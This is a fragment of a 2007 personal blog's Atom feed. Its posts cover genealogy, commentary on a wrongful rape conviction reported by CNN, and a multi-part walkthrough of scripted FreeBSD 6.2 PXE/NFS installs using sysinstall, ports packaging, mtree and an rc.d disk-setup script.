src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-4706442149786576247</id><published>2007-04-04T09:48:00.000-06:00</published><updated>2007-04-04T10:05:50.762-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bade'/><category scheme='http://www.blogger.com/atom/ns#' term='ancestry.com'/><category scheme='http://www.blogger.com/atom/ns#' term='masica'/><category scheme='http://www.blogger.com/atom/ns#' term='geneology'/><category scheme='http://www.blogger.com/atom/ns#' term='passki'/><category scheme='http://www.blogger.com/atom/ns#' term='sanders'/><title type='text'>Geneology Rules!</title><content type='html'>I came across &lt;a href="http://www.ancestry.com"&gt;Ancestry.com&lt;/a&gt; yesterday and had some fun looking up relatives.  While my &lt;a href="http://trees.ancestry.com/fhs/home.aspx?tid=1686559"&gt;family tree&lt;/a&gt; is currently not that deep (yeah for immigration!), others in my close family have traces back 5+ generations.  It's really cool to see such depth and history.&lt;br /&gt;&lt;br /&gt;Yeah for geneology!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-4706442149786576247?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/4706442149786576247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=4706442149786576247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4706442149786576247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4706442149786576247'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/04/geneology-rules.html' title='Geneology Rules!'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3938036706421935195</id><published>2007-04-02T18:48:00.000-06:00</published><updated>2007-04-02T19:01:51.511-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exoneration'/><category scheme='http://www.blogger.com/atom/ns#' term='crime'/><category scheme='http://www.blogger.com/atom/ns#' term='cnn'/><category scheme='http://www.blogger.com/atom/ns#' term='schizophrenia'/><category scheme='http://www.blogger.com/atom/ns#' term='rape'/><category scheme='http://www.blogger.com/atom/ns#' term='falsely accused'/><title type='text'>This is just messed...</title><content type='html'>http://www.cnn.com/2007/LAW/04/02/jogger.slain.ap/index.html&lt;br /&gt;&lt;br /&gt;Apparently, a man was wrongfully convicted and incarcerated for two rapes that occurred in 1987.&lt;br /&gt;&lt;br /&gt;First, the guy has been diagnosed with &lt;a href="http://en.wikipedia.org/wiki/Schizophrenia"&gt;schizophrenia&lt;/a&gt;.  Now, think about having a disorder that already makes you delusional and wrongly being accused and prosecuted for a crime...  Think a bit more.  I would guess this person will not, unfortunately, enjoy another day of his life without being up on a lot of drugs, having spent at least 1/4 of his life behind bars.&lt;br /&gt;&lt;br /&gt;Second, the rape victims had a false sense of security all these years.  They could have been raped again by the same assailant.&lt;br /&gt;&lt;br /&gt;Third, the now accused rapist cannot even be prosecuted for the crime, let alone serve the time an exonerated man has served, since the statute of limitations was set at 5 years (dunno if it's longer nowadays or not).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, here's my wild idea: if an individual is found wrongly accussed and prosecuted for a crime, where the perpetrator is found via strong evidence to be guilty, the perpetrator should serve all the time the exonerated person served in addition to the crime itself.  It should be a crime to knowingly let someone else be found guilty for a crime that someone else committed.  Additionally, a sentence in a crime has to be equal than or less to the length of the statute of limitations.  This gets weird, since the exonerated guy was serving consecutive sentences because of multiple occurrences, serially.  Really, though, it doesn't make sense to serve up to 35 years in prison, while the "freshness" of prosecution is only 5 years.&lt;br /&gt;&lt;br /&gt;And it takes an exoneration for us to see this...&lt;br /&gt;&lt;br /&gt;&lt;3&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3938036706421935195?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3938036706421935195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3938036706421935195' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3938036706421935195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3938036706421935195'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/04/this-is-just-messed.html' title='This is just messed...'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-4835342159819375561</id><published>2007-03-27T06:29:00.000-06:00</published><updated>2007-03-27T06:58:11.066-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ports'/><category scheme='http://www.blogger.com/atom/ns#' term='packages'/><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='build'/><category scheme='http://www.blogger.com/atom/ns#' term='world'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='sysinstall'/><category scheme='http://www.blogger.com/atom/ns#' term='make'/><category scheme='http://www.blogger.com/atom/ns#' term='install.cfg'/><title type='text'>Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 4</title><content type='html'>&lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other_26.html"&gt;Part 3,&lt;/a&gt;&lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other_25.html"&gt;Part 2,&lt;/a&gt; and &lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other.html"&gt;Part 1&lt;/a&gt; will, um, make this article actually make sense...&lt;br /&gt;&lt;br /&gt;To recap:&lt;br /&gt;&lt;br /&gt;--) PXE boot a client and have it load boot/pxeboot (done)&lt;br /&gt;--) pxeboot loads a 6.2 kernel and NFS roots world (done)&lt;br /&gt;--) /sbin/init happens to be missing from this world, but there's an install.cfg around :-o&lt;br /&gt;--) install.cfg wipes the disks and lays out a partition scheme&lt;br /&gt;--) install.cfg then installs a couple packages via NFS. The first package is the base system (versus using distribution stuff)&lt;br /&gt;&lt;br /&gt;Those last three items..., yeah.  Part 2 talked about how that just wasn't working for me.  So, here's the new strategy:&lt;br /&gt;&lt;br /&gt;--) /sbin/init is alive and well.  In fact, it happily loads rc, which gets around to the /etc/rc.d and /usr/local/etc/rc.d directories&lt;br /&gt;--) Put a simple rc.d script into the local directory that calls a script file (probably could just inline the whole thing)&lt;br /&gt;--) The script file slices, labels, formats, mounts, adds the base package, cleans up, and shutdowns&lt;br /&gt;&lt;br /&gt;/usr/local/etc/rc.d/foo:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;#&lt;br /&gt;# PROVIDE: foo&lt;br /&gt;# REQUIRE: LOGIN&lt;br /&gt;&lt;br /&gt;. /etc/rc.subr&lt;br /&gt;&lt;br /&gt;name="foo"&lt;br /&gt;rcvar=`set_rcvar`&lt;br /&gt;command="/usr/local/bin/foo"&lt;br /&gt;&lt;br /&gt;load_rc_config $name&lt;br /&gt;run_rc_command "$1"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;/usr/local/bin/foo:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;echo "Installing the shinizzle FreeBSDizzle Operating Syzzle"&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;fdisk -f /fdisk.out da0&lt;br /&gt;bsdlabel -R da0s1 /bsdlabel.out&lt;br /&gt;newfs -b 16384 -f 2048 /dev/da0s1a&lt;br /&gt;newfs -b 16384 -f 2048 -U /dev/da0s1d&lt;br /&gt;export rootdir=/mnt&lt;br /&gt;export spacedir=${rootdir}/space&lt;br /&gt;mount /dev/da0s1a ${rootdir}&lt;br /&gt;mkdir ${spacedir}&lt;br /&gt;mount /dev/da0s1d ${spacedir}&lt;br /&gt;export PKG_TMPDIR=${spacedir}&lt;br /&gt;export PKG_DBDIR=${rootdir}/var/db/pkg&lt;br /&gt;pkg_add -p ${rootdir} /packages/All/base_kern-6.2.r_2.tbz&lt;br /&gt;umount ${spacedir}&lt;br /&gt;cat &gt; ${rootdir}/etc/fstab &amp;lt; &amp;lt; EOL&lt;br /&gt;/dev/da0s1a     /       ufs rw  2 2&lt;br /&gt;devfs   /dev    devfs rw        0 0&lt;br /&gt;/dev/da0s1d     /space  ufs rw  2 2&lt;br /&gt;EOL&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;shutdown -p now&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;/fdisk.out:&lt;br /&gt;# BTW, it's much easier to get these numbers from a running FreeBSD instance :-)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#cylinders=19330 heads=255 sectors/track=63 (16065 blks/cyl)&lt;br /&gt;g       c19330  h255    s63&lt;br /&gt;p       1       165     63      310536387&lt;br /&gt;a       1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;/bsdlabel.out:&lt;br /&gt;# BTW, it's much easier to get these numbers from a running FreeBSD instance :-)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# /dev/da0s1:&lt;br /&gt;8 partitions:&lt;br /&gt;#        size   offset    fstype   [fsize bsize bps/cpg]&lt;br /&gt;  a:  8388608        0    4.2BSD     2048 16384 28528 &lt;br /&gt;  b:  4194304  8388608      swap                    &lt;br /&gt;  d: 297953475 12582912    4.2BSD     2048 16384 28528 &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;/etc/rc.conf:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;foo_enable="yes"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;These all are within the NFS-mounted FreeBSD Disk 1 ISO file for the respective arch.  So, when pxeloader gets loader, and loader gets the kernel, and the kernel remounts root, this madness will be called during the LOGIN time of rc.d.&lt;br /&gt;&lt;br /&gt;That's it.&lt;br /&gt;&lt;br /&gt;;-)&lt;br /&gt;&lt;br /&gt;Here's what's cool with this approach: any changes I make on the OS I can track via the /var/db/pkg framework.  Also, it becomes pretty easy to look into /var/db/pkg for older versions and upgrade as needed.  Right now, the src I built has patchlevel 3 applied (whoops!  I thought it was 2, oh well!).  When patchlevel four comes out, I can tell which ones need to be upgraded.  Also, I can create packages for all the /etc and /usr/local/etc changes, pushing those out.  If I standardize on using the one, make base_kern package, then to recover any system, I just need that package plus the subsequent changes.  I'm getting happy just thinking about my system admin changes from being an O(N) operation to something much better.  This idea also works well with jails.  If I have twenty jails on the system, each with their own world, it becames easy to do a pkg_delete and pkg_add for the upgrade.&lt;br /&gt;&lt;br /&gt;Unfortunately, the FreeBSD Update process wouldn't work well, until I have a box that can be only tasked with building.  Reason being, it still requires fiddling with the date/time to find out about timestamp issues.  So, I wouldn't be able to just push out a patch.  Given that all these boxes are on local subnets and disk is cheap, no biggy.&lt;br /&gt;&lt;br /&gt;I will eventually post a Part 0 that describes how I did my build world and initial install of FreeBSD via a MacBook and the FreeBSD ISO.  Maybe I'll even type this all up as one document and post it somewhere :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-4835342159819375561?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/4835342159819375561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=4835342159819375561' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4835342159819375561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4835342159819375561'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/smoking-freebsd-crack-and-other_27.html' title='Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 4'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3974826638039351947</id><published>2007-03-26T07:50:00.000-06:00</published><updated>2007-03-27T06:07:35.082-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ports'/><category scheme='http://www.blogger.com/atom/ns#' term='packages'/><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='build'/><category scheme='http://www.blogger.com/atom/ns#' term='world'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='sysinstall'/><category scheme='http://www.blogger.com/atom/ns#' term='make'/><category scheme='http://www.blogger.com/atom/ns#' term='install.cfg'/><title type='text'>Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 3</title><content type='html'>&lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other_25.html"&gt;Part 2&lt;/a&gt; and &lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other.html"&gt;Part 1&lt;/a&gt; of this crack adventure are prerequisites...&lt;br /&gt;&lt;br /&gt;Okay, tried out some stuff and found out the pkg_add screws up the permissions, but it can take an mtree(1) file during the port creation (and subsequent packaging).  If you're not familiar how mtree is used w/ the system, /usr/src/etc/mtree/README and /etc/mtree are good starters&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# DST = /space/base+kern-62&lt;br /&gt;cd /usr/ports/local/base_kern&lt;br /&gt;mtree -cdin -k uname,gname,mode -p ${DST} | sed -e 's/ *$//' &gt; /space/BSD.base.mtree # don't do the tail, since we don't have a header yet&lt;br /&gt;cp /space/BSD.base.mtree /usr/local/ftp/pub/&lt;br /&gt;rm distinfo &lt;br /&gt;make makesum&lt;br /&gt;===&gt;  Vulnerability check disabled, database not found&lt;br /&gt;=&gt; BSD.base.mtree doesn't seem to exist in /usr/ports/distfiles/.&lt;br /&gt;=&gt; Attempting to fetch from ftp://192.168.1.102/pub/.&lt;br /&gt;grep: /usr/ports/local/base_kern/distinfo: No such file or directory&lt;br /&gt;BSD.base.mtree                                100% of   36 kB   36 MBps&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;NICE!  In the Makefile, I had to change the following entries:&lt;br /&gt;&lt;br /&gt;Added DISTFILES, and the first entry just points back to the regular package:&lt;br /&gt;DISTFILES=      ${DISTNAME}${EXTRACT_SUFX} BSD.base.mtree&lt;br /&gt;&lt;br /&gt;Changed the MTREE part:&lt;br /&gt;MTREE_FILE=     ${DISTDIR}/BSD.base.mtree&lt;br /&gt;#NO_MTREE=      yes&lt;br /&gt;&lt;br /&gt;And got more explicit with the tar option (didn't want tar to try to uncompress the mtree...)&lt;br /&gt;&lt;br /&gt;do-install:&lt;br /&gt;        ${TAR} -pjxf ${DISTDIR}/${DISTNAME}${EXTRACT_SUFX} -C ${TARGETDIR}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(make package stuff not shown)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;setenv PKG_TMPDIR /space/poo&lt;br /&gt;mkdir /space/poo&lt;br /&gt;setenv PKG_DBDIR /space/test/var/db/pkg&lt;br /&gt;pkg_add /usr/ports/local/base_kern/base_kern-6.2.r_2.tbz &lt;br /&gt;pkg_delete # some issues on the PKG_TMPDIR and noschg files...&lt;br /&gt;mtree -cdin -k uname,gname,mode -p ${DST} | sed -e 's/ *$//' &gt; /tmp/test.mtree&lt;br /&gt;mtree -cdin -k uname,gname,mode -p /space/base+kern-62 | sed -e 's/ *$//' &gt; /tmp/base+kern.mtree&lt;br /&gt;diff -u /tmp/base+kern.mtree /tmp/test.mtree&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;No diffs!  So, the perms are good and the package installed and was removed cleanly (outside, again, the temp pkg dir stuff)&lt;br /&gt;pkg_info # Remember, PKG_DBDIR is changed&lt;br /&gt;base_kern-6.2.r_2   FreeBSD base + kernel install (no make.conf)&lt;br /&gt;&lt;br /&gt;That was it!  The base install has been 'ported' and packaged!&lt;br /&gt;&lt;br /&gt;Here's the final Makefile:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# New ports collection makefile for:    base_kern&lt;br /&gt;# Date created:        25 March 2007&lt;br /&gt;# Whom:                cykyc&lt;br /&gt;#&lt;br /&gt;# $FreeBSD$&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;PORTNAME=       base_kern&lt;br /&gt;PORTVERSION=    6.2.r&lt;br /&gt;PORTREVISION=   2&lt;br /&gt;CATEGORIES=     sysutils&lt;br /&gt;MASTER_SITES=   ftp://192.168.1.102/pub/&lt;br /&gt;&lt;br /&gt;MAINTAINER=     jon.passki@hursk.com&lt;br /&gt;COMMENT=        FreeBSD base + kernel install (no make.conf)&lt;br /&gt;&lt;br /&gt;DISTFILES=      ${DISTNAME}${EXTRACT_SUFX} BSD.base.mtree&lt;br /&gt;EXTRACT_ONLY=&lt;br /&gt;&lt;br /&gt;USE_BZIP2=      yes&lt;br /&gt;NO_WRKSUBDIR=   yes&lt;br /&gt;NO_BUILD=       yes&lt;br /&gt;# NO_INSTALL=   yes&lt;br /&gt;MTREE_FILE=     ${DISTDIR}/BSD.base.mtree&lt;br /&gt;#NO_MTREE=      yes&lt;br /&gt;PREFIX?=        /space/test&lt;br /&gt;&lt;br /&gt;.include &lt;bsd.port.pre.mk&gt;&lt;br /&gt;do-install:&lt;br /&gt;        ${TAR} -pjxf ${DISTDIR}/${DISTNAME}${EXTRACT_SUFX} -C ${TARGETDIR}&lt;br /&gt;.include &lt;bsd.port.post.mk&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now onto the final installation trickery :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3974826638039351947?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3974826638039351947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3974826638039351947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3974826638039351947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3974826638039351947'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/smoking-freebsd-crack-and-other_26.html' title='Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 3'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3626364732435611627</id><published>2007-03-25T13:42:00.000-06:00</published><updated>2007-03-25T16:22:41.345-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ports'/><category scheme='http://www.blogger.com/atom/ns#' term='packages'/><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='build'/><category scheme='http://www.blogger.com/atom/ns#' term='world'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='sysinstall'/><category scheme='http://www.blogger.com/atom/ns#' term='install.cfg'/><title type='text'>Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 2</title><content type='html'>So, &lt;a href="http://cykyc.blogspot.com/2007/03/smoking-freebsd-crack-and-other.html"&gt;Part 1&lt;/a&gt; was a hoot.  I was able to create a packaged base installation.  Now, onto bigger and better things... sysinstall!!!&lt;br /&gt;&lt;br /&gt;Goals:&lt;br /&gt;&lt;br /&gt;--) PXE boot a client and have it load boot/pxeboot (done)&lt;br /&gt;--) pxeboot loads a 6.2 kernel and NFS roots world (done)&lt;br /&gt;--) /sbin/init happens to be missing from this world, but there's an install.cfg around :-o&lt;br /&gt;--) install.cfg wipes the disks and lays out a partition scheme&lt;br /&gt;--) install.cfg then installs a couple packages via NFS. The first package is the base system (versus using distribution stuff)&lt;br /&gt;&lt;br /&gt;Well, let's see if sysinstall can install this wonderful package...&lt;br /&gt;&lt;br /&gt;Creating an install.cfg... (sure to contain errors, no need posting it, yet ;-)&lt;br /&gt;# on my macbook / nfs server&lt;br /&gt;mv sbin/init sbin/init,old&lt;br /&gt;mv rescue/init rescue/init,old&lt;br /&gt;sudo ~/mv base_kern-6.2.r_2.tbz /var/exports/freebsd/6.2-R/amd64/packages/All/&lt;br /&gt;Booted...&lt;br /&gt;&lt;br /&gt;Hmm, the system panicked since it didn't find init or sysinstall...&lt;br /&gt;But, there's a usr/sbin/sysinstall.  It's looking into stand/sysinstall  stand points to rescue, but no sysinstall in rescue...&lt;br /&gt;# sure to fail, but let's see...&lt;br /&gt;# on my macbook / nfs server&lt;br /&gt;cp usr/sbin/sysinstall rescue/&lt;br /&gt;Rebooting...&lt;br /&gt;&lt;br /&gt;Wow, it got it!&lt;br /&gt;It didn't like the network device config, though...  I'll comment out the device config stuff, since it should be configured by pxeboot.  If this doesn't work, just use statics.&lt;br /&gt;&lt;br /&gt;install.cfg:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# This is a sample installation configuration file for my test machine,&lt;br /&gt;# crate.cdrom.com.&lt;br /&gt;# It is included here merely as a sort-of-documented example.&lt;br /&gt;#&lt;br /&gt;# $FreeBSD: /repoman/r/ncvs/src/usr.sbin/sysinstall/install.cfg,v 1.12 2007/02/18 22:41:41 ceri Exp $&lt;br /&gt;&lt;br /&gt;# Turn on extra debugging.&lt;br /&gt;debug=yes&lt;br /&gt;nonInteractive=yes&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# My host specific data&lt;br /&gt;hostname=install.hursk.com&lt;br /&gt;domainname=hursk.com&lt;br /&gt;#nameserver=&lt;br /&gt;# defaultrouter=&lt;br /&gt;# ipaddr=&lt;br /&gt;# netmask=255.255.255.240&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# Which installation device to use&lt;br /&gt;nfs=X.X.X.X:/private/var/exports/freebsd/6.2-R/amd64&lt;br /&gt;#netDev=bge0                            # 1st Dell 1435 gig e &lt;br /&gt;#netDev=bge1                            # 2nd Dell 1435 gig e&lt;br /&gt;#tryDHCP=YES&lt;br /&gt;mediaSetNFS&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# Select which distributions we want.&lt;br /&gt;#dists=base doc manpages info src sbase ssys kernels GENERIC&lt;br /&gt;#distSetCustom&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# Now set the parameters for the partition editor on da0.&lt;br /&gt;disk=da0&lt;br /&gt;partition=all&lt;br /&gt;bootManager=booteasy&lt;br /&gt;diskPartitionEditor&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;# Disk partitioning.&lt;br /&gt;# All sizes are expressed in 512 byte blocks!&lt;br /&gt;installRoot=/var/mnt&lt;br /&gt;# A 4G root partition&lt;br /&gt;da0s1-1=ufs 2147483648 /var/mnt&lt;br /&gt;# And a 2G swap partition&lt;br /&gt;da0s1-2=swap 4194304 none&lt;br /&gt;# Followed by a /space partition using all remaining space (size 0 = free space)&lt;br /&gt;# and with softupdates enabled (non-zero arg following mountpoint).&lt;br /&gt;da0s1-3=ufs 0 /var/mnt/space 1&lt;br /&gt;# Let's do it!&lt;br /&gt;diskLabelEditor&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;# OK, everything is set.  Do it!&lt;br /&gt;installCommit&lt;br /&gt;&lt;br /&gt;# Install some packages at the end.&lt;br /&gt;package=base_kern-6.2.r_2&lt;br /&gt;packageAdd&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Rebooting...&lt;br /&gt;Hmm, needs info it seems...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# defaultrouter=&lt;br /&gt;ipaddr=Y.Y.Y.Y&lt;br /&gt;netmask=255.255.0.0&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# Which installation device to use&lt;br /&gt;nfs=X.X.X.X:/private/var/exports/freebsd/6.2-R/amd64&lt;br /&gt;netDev=bge0                            # 1st Dell 1435 gig e &lt;br /&gt;#netDev=bge1                            # 2nd Dell 1435 gig e&lt;br /&gt;#tryDHCP=YES&lt;br /&gt;mediaSetNFS&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Well, that's odd.  It has its IP addresses (confirmed via the fixit shell), but it wants me to configure its IP, yet it fails if I try to do that...  Trying w/ all the information commented out except the disk stuff.  It should fail when it gets to the package part, if not sooner.&lt;br /&gt;&lt;br /&gt;K, tinkered some bit.  So, everything w/ the network stuff is not included.&lt;br /&gt;&lt;br /&gt;Here's the config so far:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Turn on extra debugging.&lt;br /&gt;debug=yes&lt;br /&gt;nonInteractive=yes&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# Now set the parameters for the partition editor on da0.&lt;br /&gt;# Need to write it out before going onto the label editor since the&lt;br /&gt;# device entries are created automatically&lt;br /&gt;disk=da0&lt;br /&gt;partition=all&lt;br /&gt;bootManager=booteasy&lt;br /&gt;diskPartitionWrite&lt;br /&gt;#diskPartitionEditor&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;installRoot=/mnt&lt;br /&gt;# Disk partitioning.&lt;br /&gt;# All sizes are expressed in 512 byte blocks!&lt;br /&gt;# 1G == 512 * 2 * 1024 * 1024&lt;br /&gt;# 1G == 2 * 1024 * 1024 512-blocks&lt;br /&gt;# A 4G root partition&lt;br /&gt;da0s1-1=ufs 8388608 /&lt;br /&gt;# And a 2G swap partition&lt;br /&gt;da0s1-2=swap 4194304 none&lt;br /&gt;# Followed by a /space partition using all remaining space (size 0 = free space)&lt;br /&gt;# and with softupdates enabled (non-zero arg following mountpoint).&lt;br /&gt;da0s1-3=ufs 0 /space 1&lt;br /&gt;# Commit explicitly so everything is written&lt;br /&gt;diskLabelEditor&lt;br /&gt;diskLabelCommit&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;&lt;br /&gt;# OK, everything is set.  Do it!&lt;br /&gt;#installFilesystems&lt;br /&gt;installCommit&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The only problem is that diskLabelEditor fails w/ "Not enough free space on partition: /"&lt;br /&gt;&lt;br /&gt;Considering this, plus the package stuff won't really work (needs a media set, which requires a distribution), it seems I've hit a wall w/ sysinstall.  It will probably be easier and quicker to just create a script to do this than wrestling w/ sysinstall...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3626364732435611627?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3626364732435611627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3626364732435611627' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3626364732435611627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3626364732435611627'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/smoking-freebsd-crack-and-other_25.html' title='Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 2'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-5418909789289113915</id><published>2007-03-25T09:39:00.000-06:00</published><updated>2007-03-25T13:41:48.663-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ports'/><category scheme='http://www.blogger.com/atom/ns#' term='packages'/><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category 